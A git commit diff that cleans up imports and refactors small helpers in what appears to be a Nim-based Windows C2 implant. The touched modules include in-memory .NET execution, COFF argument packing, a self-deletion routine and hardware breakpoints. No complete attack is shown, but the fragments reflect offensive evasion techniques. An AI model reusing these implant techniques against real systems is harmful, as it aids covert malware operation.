Removed warnings and unused imports.

This commit is contained in:
Jakob Friedl
2025-10-31 16:59:10 +01:00
parent af3e7245cd
commit 77c8a321de
44 changed files with 138 additions and 193 deletions

View File

@@ -1,7 +1,7 @@
import winim/[lean, clr]
import os, strformat, strutils, sequtils
import os
import ../utils/[hwbp, io]
import ../../common/[types, utils]
import ../../common/utils
#[
Executing .NET assemblies in memory

View File

@@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
prefix = Bytes.toString(arg.data)[0..3]
value = Bytes.toString(arg.data)[4..^1]
# Check the first two characters for a type specification
# Check the prefix for a type specification
case prefix:
of protect("[i]:"):
# Handle argument as integer
@@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as wide string
# Add terminating NULL byte to the end of string arguments
let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
packer.add(uint32(wStrData.len()))
packer.addData(wStrData)
packer.addDataWithLengthPrefix(wStrData)
else:
# In case no prefix is specified, handle the argument as a regular string
@@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as regular string
# Add terminating NULL byte to the end of string arguments
let data = arg.data & @[uint8(0)]
packer.add(uint32(data.len()))
packer.addData(data)
packer.addDataWithLengthPrefix(data)
else:
# Argument is not passed as a string, but instead directly as a int or short

View File

@@ -1,4 +1,4 @@
import parsetoml, base64, system
import parsetoml, system
import ../utils/io
import ../../common/[types, utils, crypto, serialize]

View File

@@ -27,7 +27,7 @@ const
- https://maldevacademy.com/modules/72
]#
proc deleteSelfFromDisk*() =
let newStream = newWString(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}")
let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString
var
szFileName: array[MAX_PATH * 2, WCHAR]
fileRenameInfo2: FILE_RENAME_INFO2

View File

@@ -1,4 +1,4 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../utils/io
import ../../common/[types, utils, profile]

View File

@@ -1,6 +1,6 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat, random
import os, system, random, strformat
import ../utils/[cfg, io]
import ../../common/[types, utils, crypto]

View File

@@ -1,5 +1,4 @@
import strformat, os, times, system, base64, random
import times, system, random, strformat
import core/[http, context, sleepmask, exit]
import utils/io
import protocol/[task, result, heartbeat, registration]

View File

@@ -1,5 +1,5 @@
import times, zippy
import ../../common/[types, serialize, sequence, utils, crypto]
import ../../common/[types, serialize, utils, crypto]
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat(

View File

@@ -1,4 +1,4 @@
import winim, os, net, strformat, strutils, registry, zippy
import winim, os, net, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
@@ -51,7 +51,7 @@ proc getProcessExe(): string =
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
return ($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)

View File

@@ -1,5 +1,4 @@
import strutils, tables, json, strformat, zippy
import zippy, strformat
import ./result
import ../utils/io
import ../../modules/manager

View File

@@ -1,6 +1,5 @@
import winim/lean
import ./io
import ../../common/utils
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim

View File

@@ -1,7 +1,7 @@
import winim/lean
import macros
import strutils, strformat
import ../../common/[types, utils]
import ../../common/utils
const VERBOSE* {.booldefine.} = false